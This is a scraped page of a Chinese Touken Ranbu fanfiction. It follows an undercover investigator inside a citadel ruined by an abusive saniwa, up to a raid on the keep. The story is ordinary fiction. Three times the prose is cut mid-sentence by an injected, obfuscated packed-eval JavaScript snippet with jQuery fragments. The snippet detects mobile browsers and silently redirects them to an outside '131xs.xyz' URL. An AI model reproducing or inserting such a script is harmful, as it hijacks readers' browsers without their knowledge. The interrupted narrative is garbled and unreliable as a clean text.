接连失去想要守护的家人,整个粟田口就如陷入了漩涡一般,一期一振对粟田口剩下的成员表现出了过度的保护欲,不眠不休地守着每一个。一旦有其他活物靠近粟田口,都会受到他的攻击,只有短刀胁差因为有着与他弟弟们相似的体型而不会遭到袭击。
为了不让长兄失控,白日粟田口成员都会闭门不出呆在他的身边。只有在晚上这个利于短刀胁差行动的时间,他们才会外出搜集资源、交换物资,而此时也是一期一振全本丸巡逻的时间。因为守护的执念而陷入疯狂的太刀锐不可当,无论是天守阁的一人一刃还是本丸的其他刀剑都只能避其锋芒。
于是辉月明白,这里并没有什么“规则怪谈”,有的只是一个问题深重的本丸。
只有白日自由行动,夜晚只能在短刀、胁差的协助下外出,是为了避免碰上巡逻的一期一振。不要单独行动,不能擅自靠近、进入其他部屋,是因为刀剑们各自为营,避免发生冲突。
谈话结束后,堀川亲自把她送回了今剑的部屋门口。
他说,“陆奥守尽力隐瞒了您的到来,不过很可惜这座本丸里活跃着的都是短刀和胁差,他的隐瞒在我们的侦查下显得有些薄弱了。不过没关系,反正大家都觉得您会和今剑殿站在同一立场,在行动之前,您就和今剑殿一起好好相处吧。”
以此掩人耳目吗?这倒是合了辉月的意。刚刚和今剑谈完,他那副样子她还是有些不放心,正想再确认一下他的心理状况。
说完之后堀川便离开了。
他们约定的行动时间是今夜凌晨,在太阳升起之前,趁着今剑还没把她“赶”走,也趁着审神者还没注意到她。
而现在,部屋里又只剩下辉月和耳钉里的A56。终于让A56找到机会发声了。
“辉月大人——”A56的声音早已彻底失去初见时象征着时政工作人员的体面与平稳,其中能隐隐听出崩溃的前兆,“我这就去催稽查部的人尽快动身,您就老老实实呆在这间部屋里好不好!”
“别这么激动嘛,又不是真的要去杀人。”
“真、真的吗?可是您刚刚答应了他们。”
辉月忍不住想笑,“答应是答应了,但具体怎么样,谁知道呢?”
A56的心情如同坐上了过山车,刚刚驶入平地就又飞上云霄了,前后落差太大反叫他生出近似无语的平静,“辉月大人……这个时候就不要上三日月大人的皮了。”
这下辉月真的笑出声了。
“……辉月大人请不要逗弄时政工作人员,我们是有人身保险的。”那语气里的哀怨几乎要穿过耳钉传过来了。
“我说A56,刚刚和堀川大和守说的话你都听到了吗?”辉月突然问,“碎刀啊,怎么看也不是不小心的,事情可比我们想象的严肃不少。”
根据堀川的情报分享,这位审神者是会伪装的,在本丸建立的最初,她给大家留下的印象是强势但溺爱短刀的女子,以短刀为主的粟田口刀派更受她的关注与喜爱。本丸里的短刀无论什么性格,都很喜欢和她待在一起。
直到一期一振来到本丸,她要求粟田口短刀和一期一振真刀手合,且手合结束不给手入,大家才发觉不对劲。
刀剑们的心开始不安,审神者却似乎从其中获得了满足感,她越来越频繁地要求一期和弟弟们手合。藤四郎们不明白人心的复杂,在手合结束后哭着道歉,而她还会笑着就像什么事情都还没发生过一样,安慰着短刀们,就仿佛自己是他们唯一的依靠。至于那把太刀,他身上的伤就这样越叠越深。
渐渐地,她的目光又转移到其他地方,左文字、堀川派也受到了影响。
鸣狐断在了出阵收集手入资源的途中,因为审神者说想要修复一期的话,你们就自己努力。
药研因为擅自使用药草被变回本体,摆在了天守阁的刀架上。原本是展示刀剑的刀架,变成了另一种意义的展示台,展示着不服从审神者命令的下场。
弟弟们的惊惶像是敲响在他头顶的警钟,一个两个家人的离去更是火上浇油,一期一振无法接受这样的现实,忍无可忍的他终于向审神者拔出了他的刀。
就在挥舞的太刀向着审神者的脖颈落下时,那人慌乱之中以药研相抵。如果不是药研断在那一刻,或许审神者已经死了,也轮不到辉月再来到这里。
他们说一期一振疯了。
“A56觉得呢?”辉月问。
“付丧神是不会疯掉,作为神明,只存在神性崩坏的可能。”A56答。
神性崩坏,这倒是第一次听说。
辉月接着问,“是暗堕的意思吗?”
“暗堕?”A56似乎对此有些陌生,停顿后反应了一会才说,“我好像在同人专区看到过这个词语。”
耳钉那边传来一阵查找东西的声音,“暗堕,原来如此,审神者大人们是这样称呼的。官方还从未明确发布过相关内容,但大人们已经猜得差不多了。从原理上来说十分类似。
付丧神也好,鬼怪也好,都是一种超脱的存在,因人类的执念、寄托的情思,他们从器物、生物中产生。神性彻底崩坏之后,付丧神就会走向另一个方向,异变为鬼怪之类的存在。但是与同人区的审神者大人们所以为的不同,神性崩坏后,刀剑们会逐渐失去理智,变成凭本能行动的物类。唔,暗堕本丸……这种事情在现实里不存在,神性崩坏的付丧神可是完全没办法管控的,时政也绝对不会派遣审神者前往这样危险的本丸。”
“救赎暗堕本丸的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645847|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小说吗?确实很有意思,我以前看过不少。不过最近流浪暗堕刀剑被捡回正常本丸的看得更多,推荐给你,看正常本丸的刀剑和审神者被创可有意思了。”
“啊这样吗?我看看,还真有啊……不对!现在不是聊这个的时候。目前接触还太少,没办法判断那振一期一振是受刺激过度还是已经开始了神性崩坏。”
“是吗。”
A56隐约间恍然意识到了什么,“等等,辉月大人,您不会想亲自去确认吧,这太危险了。”
他还想再说下去,却被辉月强势打断。
“A56,从接下这个任务起,我一直在思考一个问题。特殊调查员的存在到底是为了什么?”
A56没有半点犹豫地说,“当然是为了那些刀剑付丧神也为了审神者们。为了调查真相,为了伸张正义,为了解救受困受难者,我们所做的事是在拯救世界啊!”
非常正义凌然,也相当中二的发言,辉月揉了揉被他逐渐激昂的话语震到的耳朵。但A56会将其和拯救世界划上等号是辉月没想到的,他不会就是这么被骗到新部门的吧。
“既然这样,那我做的和你说的那些稽查员做的有什么区别?”辉月又问。
这个问题问住了A56,等了许久才等来了他的回复,“稽查员的行动需要申报,只有在基本确认审神者失格后才能行动,到达本丸后会直接接管本丸,对审神者和刀剑男士进行审问。但是想要确认审神者失格并不是简单的事情,一直以来时政都对此十分苦恼。
本丸内审神者权力小,容易导致神隐事件。审神者权力大,又容易出现伤刀碎刀。经过多次商讨尝试,才最后定下了特殊调查行动。
如果要说区别的话,大概就是灵活且温和吧。人类的灵魂、付丧神的躯体,便于融入付丧神群体,又了解人心,能够准确判断形势,所作所为也更能为受害者接受。”
“听起来还挺麻烦的啊。”辉月说。
“嗯,也可以这么说吧。即使确定审神者失格,稽查部从派遣到到达也需要一段时间,”谈及正事,A56摆出了专业的姿态,将记在脑子里的员工培训内容搬出来,详尽地为辉月说明,
“每个本丸都处于一个独立的时空,为了防止时间溯行军发现本丸,进行袭击,本丸坐标都经过特殊工艺加以隐藏,想要前往不是那么容易的。
从时政前往本丸需要构建临时通道,加上调取资料、确定坐标、集结成员、出战准备,不同时空之内还存在时间差,大约需要一天到五天不定。”
没想到A56的回答如此认真,即使只是一位坐着监督确认人员安全的工作人员,也对该项行动有过深入的了解与思考。
辉月听得都要为接下来要说的话感到一点点点羞愧了。
“灵活,你说了灵活对吧。”
“嗯?”
“所以我接下来准备灵活行事了。”
“嗯!等等辉月大……”
12.新手教程10
在摘下耳钉的那一刻,整个世界像被最纯净的雨水冲刷过一般清净,辉月不由得喟叹一声,享受了片刻真正意义上的个人时间后,又将耳钉带回原处。
“辉月大人!就算要放飞自我去做什么,也别把时政专供特殊调查行动版联络仪外加生命检测器摘下啊!”
看的出失去监测的这段时间A56真的很慌张了,把“耳钉”那么长的专业用语都一溜串说了出来。
“嗯嗯嗯,不用担心我,我相信你,有你们专业团队在背后辅助,不会有问题的。”
“好,好。”
辉月哄小孩一样地说,A56还真被感动得说不出话了。
人果然是折中的啊,不管在哪个时空。这么一个大动作下来,A56就不再纠结于什么灵活不灵活的行事。
当然,相比说出的内容,辉月实际上考虑的更多。
这个审神者是会伪装的,在本丸成立初期甚至成功和短刀们打成一片。有过幸福而满足的过往,稽查部到来后刀剑们会愿意指控主人吗?
且如A56所言,走正规的官方流程不知道要耗去多少时间。这座本丸里有些刀剑心理已经不太正常了,在等稽查部的时间里,又会发生多少变化呢?
受过伤害的刀剑们啊,辉月又想起寂静深夜那响起在紧闭门外的拔刀声。就算失格审神者被抓,也难以摆脱过往梦魇,难以再去信任新的同伴、新的主人。
辉月还是想尽可能地帮一下他们,有些事情从内解决会比从外打破有更温和而易于接受的结局。
对于她这个从天而降的“弟弟”今剑似乎并不放心,辉月回到部屋后不久,他便又回来了。
一路上惴惴不安想着她的小天狗在进屋看见她后明显松了一口气,上来先讨了拥抱,才悠然地紧靠着她身边坐下。
“今剑兄长这是怕我一个人跑掉吗,没有哦,我可是很听兄长的话的。”假装听不见耳钉处传来一声疑惑的“嗯?”,辉月摸了摸今剑的银发。
长发在他的后脑处盘成团子,跟他人一样小小的很可爱。辉月没忍住摸了又摸,后又张开手将团子包在手里捏了捏。
这个事情她很早以前就像干了,没想到有一天能成真,而且手感比想象中的更好啊,幸福的小泡泡从她心底往上涌。
今剑扭了扭头,没把辉月的手甩开,所幸不动了任由他的“幼弟”偶尔胡闹一下,“因为爱染说,我们难得见面,就让我回来陪你了。我们给三日月准备了口粮哦,不过本丸里剩下的食材不多了,做得比较粗糙,但就算这样也要吃掉。如果浪费粮食,陆奥守会愁得尾巴掉毛的。”
说得好像三日月是什么挑食的大少爷似的,辉月觉得今剑的嘱托十分可爱,但转念一想,她还真没亲眼见过活的三日月,他应该不会挑食吧,应该?
“兄长和爱染的心意我当然会好好享用的。等下次见到爱染,我会感谢他的,真是贴心的好孩子。”辉月对好好的团子头被自己弄乱稍感良心不安,哂笑一下,抬手将上面翘起来的碎发压下,又将垂下的发尾理顺,“还有,陆奥守的尾巴只是装饰,不会掉毛的。”
“原来是这样!怪不得他同意让我随便摸。对了,陆奥守和左文字两兄弟去照看田地了,晚上应该会去他们部屋,本来我今晚要和粟田口的藤四郎们一起出阵,爱染替了我。所以今天一天直到明天,我们都可以一起玩耍了。”
今剑看起来非常高兴,直接从她身边蹦了起来,脚上高高的木屐仿佛不存在一样,绕着她转了一圈又一圈。
他右手长长的衣袖随着动作在空中划过,带来的细风都满是快活的气息,辉月也被他影响,脸上染上笑。
然而心底同时升腾起的一阵凉意让她难以忽视,无法沉浸在快乐的气氛中。为与同刀派兄弟相见、为能尽情享受兄弟时光而高兴着的小天狗啊,你知道我并不是三日月宗近吗?
她当然因为能看见今剑的笑颜而高兴,但她的心似乎与他的快乐隔着什么,要让她与今剑一起品尝快乐的甜味,心虚便会将她打败。
感觉到了辉月在这个瞬间的不自然,今剑突然从背后抱住了她,将她的感受与情绪全部打断。
他小小的身体从身后努力将她整个抱紧,樱桃一样甜的声音在她脸庞边响起,“不要担心,就算这个三日月不太一样,也没有关系的。”
这句话语气柔和带着身为长兄的包容,辉月却在听到的一瞬不可抑制地僵住了身体。
他是看出了吗?看出她的身份有问题?
今剑说,“不管是弟弟还是妹妹,在我这里都是一样的。”
诶?原来被看出来的是这个点。
辉月被白白吓了一跳,一口气卡在中间提不上去松不下来,闻言只好无奈一笑,“原来你们看得出来啊。”
今剑只把那无奈之声当做被他看穿的证明,攀着辉月的肩膀摇晃着,颇为自豪地说,“那当然啦,第一眼就看出来了,不要小瞧我们短刀的侦查哦。更何况我对三日月多了解。”
“从来没有人说啊。”
“因为不重要嘛。已经不重要了。既然在这里见到了,不管怎么样,我都会保护你的。”
因为经历过很多,所以对她的变化不在意了么,想到此处她一时百感交集。
明明知道今剑是在对她的壳子【辉月】说,但她还是感到心如同泡进了温泉里,柔软而温暖起来。
辉月呼出一口气,将心情平复下来。她暗自决定在实施行动前,要与今剑度过一段轻松而温馨的时光。作为辉月,给他留下一段能在以后回忆起来还会高兴的记忆。
她笑起来对今剑说,“想要和我一起玩耍吗?我这有很多很好玩的小游戏。”
果然无人打扰她和今剑。时间过得很快,转眼便夜深。
即使已经面露倦意,今剑依旧缠着辉月不肯入睡。辉月再三保证等他睁开眼,第一个看见的就会是她,他才靠着她慢慢睡去。
而辉月并无半分睡意地望着他,细细端详着这张熟悉又陌生的脸。
手头无事的时候,时间的流逝就显得格外漫长了。原本欢闹的部屋突然安静下来,更显得时间难熬。所幸辉月很有耐心。
借着门外朦胧的月色,她细数着时间。
“辉月大人,您不休息一下吗?有今剑大人在身边,不会再发生昨晚的事情。”
A56只能听见耳钉传过去的声音,看不见辉月这边的场景。也是在白日辉月跟他说了,才知道昨夜辉月差点遭遇突袭。
辉月虚掩住今剑的耳朵,轻声说,“不了。你知道吗,太安静的夜晚不适合入眠。”
夜晚的静将她的思
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658271|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绪衬托得纷乱吵闹,她想着今剑,想着一期一振,想着大和守和堀川,想着天守阁那尚未谋面的审神者,想着等会的行动。今夜是注定睡不着的。
A56没听过这个说法,但也能从辉月的话语中听出些别样的意味。他一时也不知道该说些什么,于是气氛更安静了几分。
天亮之前,辉月将今剑摇醒。
今剑揉揉惺忪睡眼,迷茫地爬了起来。部屋门外还是黑的,只有比睡时稍亮一点的微光显示着时间指针已偏向凌晨。
“太阳还没出来。”还没有从睡梦中清醒过来的今剑呢喃道。
“今剑兄长想和我一起看日出吗?”辉月问。
闻言今剑立刻清醒过来,橙红色的眼瞳闪出惊喜的光。他对“弟弟”的提议没有半点犹豫,将什么规则全抛在脑后,只因可以和弟弟一起行动而单纯地高兴,“一起看日出,好呀好呀!有我在不用担心,我会保护你的!”
辉月揉了揉他睡得蓬松的头。
本丸不大,但绕过天守阁再往远处走些,有一处小湖泊正好在日出的方向。湖泊对面还没被开发,今剑说那里可以看见一整个日出。
于是两人往那个方向而去。
辉月佯装好奇地问道,“今剑兄长知道粟田口部屋在哪吗?”
“知道哦,我们等会会经过粟田口部屋的。不过不用担心,一期一振这个时候一般都在时空转移装置那里,等出阵的粟田口们回来,绝对不会碰到。遇到粟田口的其他人的话,他们也会帮忙隐藏行踪的。所以三日月只要跟紧我就好了。”
今剑说着去拉辉月的手。
辉月牵住他的手轻握一下,随后不经意地将手拂开,“嗯嗯,我明白了。”
短刀在夜晚所能发挥的实力名列所有刀种之首,且他来到这个本丸的时间很早,战斗经验很丰富。即使真的偶遇一期一振,今剑也能凭借短刀的机动掩护辉月离开。所以只要辉月跟着自己,今剑一点也不担心。
他偶尔也会在夜晚跟着粟田口的短刀们一起出阵,和他们一起收集资源;也会每隔一段时间来到粟田口部屋附近,和他们交换物资,和他们关系还不错。如果路上遇到了,就打个招呼吧,可惜不能邀请他们一起去玩,但他会跟他们保证下一个夜晚会来分享这次难得的体验的。
他的心思全被一会的兄弟活动占据了,自从主人变了之后,他就再也没这么开心过了。
“前面就是粟田口部屋了。”他指着一个方向,转头对跟着他的辉月说。
夜空的月亮失去了踪迹,或许是因为太阳正等在地平线下。
他的身后辉月的表情看不清楚,她似乎点了点头,朝着他手臂延伸的方向看去。
“以前我经常会来这里和他们一起玩,对这里的路可熟悉了。鲶尾和我比赛过谁跳得更高,当然是我赢啦。乱扎辫子的技术特别好,真想看他会给你扎出什么发型,妹妹呀,我还是第一次见到妹妹三日月呢。”
喜悦充斥着他的全身,轻快了他的脚步,也掩盖了身后的异动。
等他绕过粟田口部屋,从集中精力的侦查与领路状态中抽离,回头说,“我们已经离开粟田口领域喽!三日月~接下来也要跟紧我哦。”
却发现身后已经失去了另一个身影。
“三日月?三日月!”
13.新手教程11
东方晨光微熹,那一片天空都被即将破土而出的朝阳染上亮色。
粟田口部屋内,留在本丸前往他处与其他刀派刀剑交流的成员都回到了屋内,夜晚出阵的队伍在一期一振的护卫下回归。
大家排成排在一期一振的注视下躺进被窝,有的回来的早,此时已经熟睡。
有着晴朗夏日一般的青色短发的太刀守在门口,身上满是与发色不符的阴沉,默默数着已归来的弟弟。
他的眼神和正常的一期一振不太一样,宛如地下溶洞中漏出的冷风,只有在落在弟弟的睡颜上时浮现出一丝温度。
但粟田口的大家已经习惯了这样的兄长。
性格各异的他们在这件事上懂事得很一致,为了不让兄长担心,他们外出前都会主动报备,回来时都会尽量提前。自从审神者躲进天守阁后,从来没有出现过有人逾时未归。
然而此时,一期一振将弟弟们一个个数尽,心头念到的最后一个数让他全身瞬间紧绷起来。
火苗顺着引线飞速地燃烧,他的血液似乎也沸腾到燃烧,不到一秒引线燃尽,他的大脑中像是烟火爆开一样迸发出让他双手颤抖的激烈情绪。
一个,少了一个。
乱,没有回来。
最无法接受的现实摆在面前,他的眼前似乎又复现出刀剑断裂所发出的耀眼光芒。
弟弟,有危险。
在意识到这一点时,不受控制地他想起那个人。那个所有一切不幸的源头。
女人在短刀们面前笑容是有温度的,会纵容他们挤在她的身边讨要拥抱。弟弟们为有爱着他们的主人而快乐,身为兄长的他便也为此满足,于是他接受了女人只针对他的冷淡,接受了暗地里投射过来的针一样的目光。尤其是看见弟弟们向他撒娇,看见他宠溺地弯下身与弟弟们说话时,那目光像是要将他刨开,再埋葬。
明明是刀剑的主人却将他视为对手,他不明白那冷淡之下的警惕,不懂得这名为嫉妒的情绪。
直到他身上愈加汹涌的暗火蔓延到弟弟们的身上。
被要求同刀派手合,没有人表现出迟疑。手合本就是提高他们能力的方式,何况那是主人的命令。
他会指导、带领弟弟们变得更强大更敏锐,哪怕是真刀相对,他也会控制不真正伤害到弟弟。审神者是“爱”着弟弟们的,她纵容他们,在意他们,使用他们。那么自己的身上被划开伤口、浸满鲜血也没有关系。和藤四郎们保持距离,看着他们在审神者的衣袖下钻来钻去,看着他们被审神者抚摸头顶,看着他们展露发自内心的笑容就足够了。
可是,他在哭,他们在哭。
当疼痛在自己手臂、腰背跳动着昭告存在感,当血液滴落将手合场的地面染色,当那个人冷眼旁观说手入室暂停开放,弟弟们在哭。
哭着对他说对不起,哭着求审神者为他手入。
明明平时表现得那么疼爱短刀们,那个时候却无动于衷,明明弟弟们哭泣得那样悲伤,她却只是俯视着跪地不起的他,表情飘忽在得意与挫败之间。
他猜不透人类的想法,只知道那是第一次恨意裹挟的波浪在他胸膛中涌动。既然是“爱”的,为什么要让弟弟们难过?为什么要强迫着他们做注定要痛苦的事情?
他们并非为此而存在的啊。
审神者以太刀修复消耗资源太多为由拒绝手入,所幸本丸里流溢着审神者的灵力,藤四郎们只要自行出阵收集所需资源,再投入手入池,即使缓慢他的伤也能好转。鸣狐殿在此途中碎刀是他所不愿的,而不久后的那一次手合,不小心伤到弟弟后他的崩溃是自己无法控制的,挥向审神者的刀锋斩断了药研更是意料之外。
无法接受的现实接踵而来,如同轰然倒塌的巨山压垮了他的理智。
跟随此主,吉光的荣耀已不复存在。接下来他所有的一切都是为了保护弟弟们。
最后看了一眼弟弟们,将门关紧,他握紧腰间的刀向天守阁奔去。
天守阁作为本丸的中心分为上下两层,一层是审神者办公所用,二层是审神者的住所。这座本丸的审神者大人正于二层闭门不出。
一楼压切长谷部跪坐于房间中央,四面门窗紧闭,但依然隐约可见逐渐亮起的天色。这个时候本应正是鸟啼虫鸣响起的时刻,但这座本丸并没有这些充满生命力的小生灵。对于这座本丸而言,这个时刻也并非象征着复苏与清醒。
夜里归来的出阵队伍方才睡下,唯有白日才能外出的刀剑或仍于梦乡或静等天明。在这片空间,每次天亮之时,反而是一日之内最寂静的时刻。
昨日本丸似乎出现了骚动,昨夜相比平时更为喧闹。或许又是谁在出阵时受伤了吧。
没有审神者提供手入,受伤变成大家都不愿看到的事情,所幸审神者尚在天守阁,本丸里依然有灵力流转。在手入室投入大量资源后,刀剑仍然可以得到修复,只是需要更多的时间。
为了已经受伤的同伴而出阵,于是途中有新的同伴受伤。所有人似乎陷入了一个不断循环旋转的怪圈,却又无法挣脱。
他为他们感到可悲,但这些都与他无关。他所要做的从始至终都只有一件事,那就是为主人献出一切。
因为他是主人的刀剑,被主人信任、托付的刀剑。
这座本丸里有失去理智无差别攻击一切的危险分子,有对主人心怀恨意甚至要弑主以求新生的狂妄之刃,也有希望主人永居天守阁再不出来的保守派。他们心思各异,却微妙地保持住了平衡。
他一刃无法对抗其他所有,只能在平衡之下尽可能地挡住向天守阁挥出的刀刃。为了主人的安全,他殚精竭虑,只能在每天日夜交替之时,趁着一天之内难得的寂静安分小憩片刻。
他深感疲惫,却甘之如饴。作为最后一振挡在主人身前的刀剑,作为当下唯一被主人信任的臣下,对于主的忠诚在他热情的心中与疲倦的身上发热发烫。他已找到存在于此的意义。
窗外更亮了些,即将到来的又是一个一无所有的白天。
没有风,没有太阳,更没有鸟虫的啼鸣。
值守一夜的困倦将他的眼帘合拢,他始终挺直的脊背
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672787|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
终于弯曲,在这个短暂的休憩时间。
然后今日并不是他想象的平凡而重复的一天。
就在他放松警惕之时,天守阁一楼的门被从外面破开。来者气势汹汹,长刀破开大门后直往里冲。
长谷部立刻举起身前的本体刀,一步上前,阻挡住了来者前冲之势。当看清那张套着儒雅外壳,平静之下暗潮汹涌的面庞,他心里暗道一声不好。
来谁不好,偏偏是一期一振。
正常的刀剑付丧神都不愿意和同类动真格,两败俱伤又得不到实在的好处,最后还要想办法修复自身。
但失去理智的付丧神就不一样,他的脑子里没有利弊,只有不达目的不罢休。刀剑的本能占据上风的他,达到目的的方式也只剩下了——杀。
无论如何不能让他上楼,在刀刃碰撞的铮鸣声中,长谷部下定决心。
太刀威力巨大,每一次落下都如锤击,但此次交锋的地点是室内,相对之下灵活的打刀更有优势。
以防守为主,长谷部架住他的每一次劈砍,慢慢将一期引到破了个大洞的门口。靠他一个人无法制服一期一振,但正如一期一振总是守着藤四郎们保卫着他们的安全,藤四郎们也总是担心着状况总不稳定的长兄。
果然,透过残缺不堪的门,长谷部看见不远处鲶尾藤四郎正在观察他们。他毫不怀疑如果自己手上的刀往一期一振脖子上砍去,鲶尾一定会飞身过来加入战局。
藤四郎们是这枚名为一期一振的炸弹的引线,同样也是熄灭他的唯一办法。
“喂!如果主人死了,你们都会变回刀剑,难道你不知道吗!”他一边抵挡一期一振的攻势,一边朝鲶尾大喊。不要做什么,只要鲶尾现身叫一声“一期尼”,这个疯子长兄都会立刻收手回到弟弟身边,带着人回部屋亲眼看着睡着。
鲶尾听见了他的话,却只是面露犹豫,依旧没动。
“啧,”他一个矮身,躲过一次挥刀,“虽然我不会让这个假设成真,但如果那种事情真的发生,第一个支撑不住的绝对就是他!”
一边朝鲶尾喊话,一边接一期一振的招,过招时最忌一心二用,很快他就受了伤,手臂上衣服晕出血色。
血的气息飘散出来,让一期想到了过往某些片段,他金色的眼瞳里闪过一抹红色,下手更重更狠,震得长谷部双手泛麻。
所幸他余光瞟见鲶尾终于从草丛里站起身,向这边走了过来。
然后就在鲶尾张口欲喊之际,从另一个方向飞出一道身影将他扑回了草丛中,飞出得太快,长谷部甚至没看清那是谁。
不过他很快就知道了。
门外又走出两个人,是大和守安定和山姥切国广。
这下知道刚刚那个飞出去的是堀川国广了。
对主人怀有恶意的刀剑们都来了,长谷部冷笑一声,已经猜出一期一振的突然发难背后必有伏笔。
长谷部和一期在门口处交锋,后来的大和守和山姥切国广进不去门。大和守见状索性一刀劈在门边的木质墙壁上,一声巨响之后墙裂开一条缝。
14.新手教程12
“你们想做什么?”长谷部喊道。
看着长谷部刚喊完话就被一期一振的下一轮攻势夺走所有注意,大和守不回话只是一味挥刀。
比寻常山姥切更阴沉的山姥切国广更是哑巴一样,守在大和守身后。
他们都清楚,天守阁这边的动静太大了。其他的刀剑付丧神很快也会被吸引过来。压切长谷部在等他们来,而大和守和山姥切要赶在他们来之前,争分夺秒地攻入其中。
最先赶到的是爱染国俊,短刀的机动还是快啊。他看清情况之后直取大和守安定,被山姥切国广拦下。
接着初始刀陆奥守吉行也到了。此时木质墙壁上已伤痕累累,可即使是木质的,也并不脆弱,想要破墙而入,这还远远不够。
陆奥守拔出了刀,这一次挥向大和守的刀一路顺畅,没有任何阻拦。似乎一切都要在此结束了。
可看着那向自己而来的锋利刀光,大和守却笑了,他在刀光逼近自己的最后时刻,转身接下。巨大的惯性推着他向后倒去,整个撞在身后的木墙上,他与墙一同轰然倒下。
就在墙倒下的那瞬间,辉月闪身进入天守阁。
此时天守阁一楼已经乱成一团,没有人在意她,即使注意到了也分不出心神,更何况她又不是弑主派。
于是她机动不高,也顺利进入,贴着墙走上了通往二楼的楼梯。
背后在墙倒后就像是播放器按下了暂停,声音短暂停顿片刻,下一秒是更大的刀刃相接之声,甚至还听到了几声叠在一起的惊呼。
是墙的倒塌惊扰了一期一振吗?辉月无暇分辨。
她快步上楼,来到了二楼——这座本丸审神者的所在。
门依然是关着的。标准日式的推拉门,不厚却好像隔绝了一切,楼下的混战传不到楼上,整个本丸的异常也与门后的人无关。所有的一切都被这一扇门关在门外。
而此刻辉月要将它打开,她即将见到那位来到此处后听闻许多却未曾谋面的失格审神者。
她走上前,推开了门。
和辉月想象的不一样,二十出头的女人蜷缩在离门最远的地上,蓬头垢面,看不出一点审神者应有的模样。
双腿曲起,双手环抱着自己,神情萎靡又激动,就像失眠一周的人,困得睁不开眼大脑却无法控制地清醒着。
门打开的时候,她如同缩在窝里还被猛兽找上门来的兔子,受惊一般地打着颤。嘴唇紧抿着,用力到发白,眼睛睁得巨大,在看见辉月的那刻,吓得眨也不敢眨。
将本丸变得一团乱的人,就是这样一个人啊。
莫名得辉月感到了失望,面对着这个看上去害怕到马上就要碎掉的女人,她甚至一时不知道该说些什么、做些什么。
她甚至感到了荒谬,堀川他们耗尽心思要来杀的就是她啊。要杀她吗?她看起来那样疲惫无力,看起来比辉月自己还要手无缚鸡之力。
辉月迟疑地摸上了腰间的刀,向女人走去。
她尚未下定决心,而审神者已经被这个动作吓到,试图往后退,可后面已经没有任何空间。退无可退,女人胡乱挥舞双手,将她的头发衣衫弄得更加凌乱。
“别杀我,别杀我……”她絮絮说着。
在离女人三步的距离,辉月停下脚步,叹了口气。
女人从中似乎捕捉到了求生的契机,一下撑着地坐了起来,对辉月道,“我也没干什么啊,我没做什么啊,为什么,为什么都拿刀指着我?”
“没干什么?”辉月听到就笑了,本来还觉得女人瑟瑟发抖的样子有些可怜,这下最后半点可怜也灰飞烟灭了。
她将本体刀从腰间取下,自己的本体刀自己不心疼,直接用刀鞘轻敲两下地面,“听见了吗?下面都快乱成一锅粥了。没干什么为什么他们要反抗?在天守阁蜗居太久失忆了?要帮你回忆一下自己做过的事吗?”
女人在辉月取刀时畏缩地朝后躲去,看见辉月刀不出鞘,又听到说她过往的事,她突然又不怕她了。
“我做错什么了?我没错!”她提高了声音,几乎到尖锐的程度,简直就像轮船开动时的汽笛声,让辉月耳朵隐隐不适,“我是他们的主人,他们把我放在第一位是应该的。什么哥哥弟弟,器物有什么血缘关系,就应该永远看着我、依赖我,把我当做唯一,没有我就活不了,本来就应该是这样!”
“所以,你是在嫉妒一期?”辉月难以置信到想发笑。
“嫉妒?我才不嫉妒他,仰仗我鼻息而活着的东西,我不给他手入就只能永远流着血,有什么好嫉妒的。只不过让他真刀手合了几次就快碎了,我反倒可惜当时没让他碎了。”女人展露的笑容里终于出现了辉月预料之中的带着恶的肆意。
“是吗?真好笑,因为一把属于自己的刀变成这副模样,你哪里担得起主人二字啊。”
“闭嘴!闭嘴!!我是这里的主人,轮不到你来否定我!”她为辉月的话感到耻辱,大声呐喊企图盖过辉月的声音,用力到整张脸都憋得通红。
“嗯,本事没有,自尊心还挺强。”辉月轻飘飘一句话随意地出了口,也不管又给她的玻璃心上来了一刀。
地上的审神者怒极反笑,越笑越大声,笑得前仰后合,手随之微微抬起,就仿佛掌心握着谁跳动的心脏,只要捏下就会有一个生灵失去气息。
一直呆在这里呆得太久了,女人明显体力不支,笑声很快就停了下来,坐在地上低着头喘着气,“随便你怎么说,你继续说吧,等一会长谷部就会上来砍了你。他可听我的话了,我只是随便说了两句好话,说他是我最信任的人,他就迷糊了。哼哼,你等着吧,我要看你死在我面前。”
审神者有多激动,辉月的表现就多平淡。靠骗骗做“人”不久的付丧神建立起虚荣心的家伙,她还没准备当一回事。
趁着审神者安分地
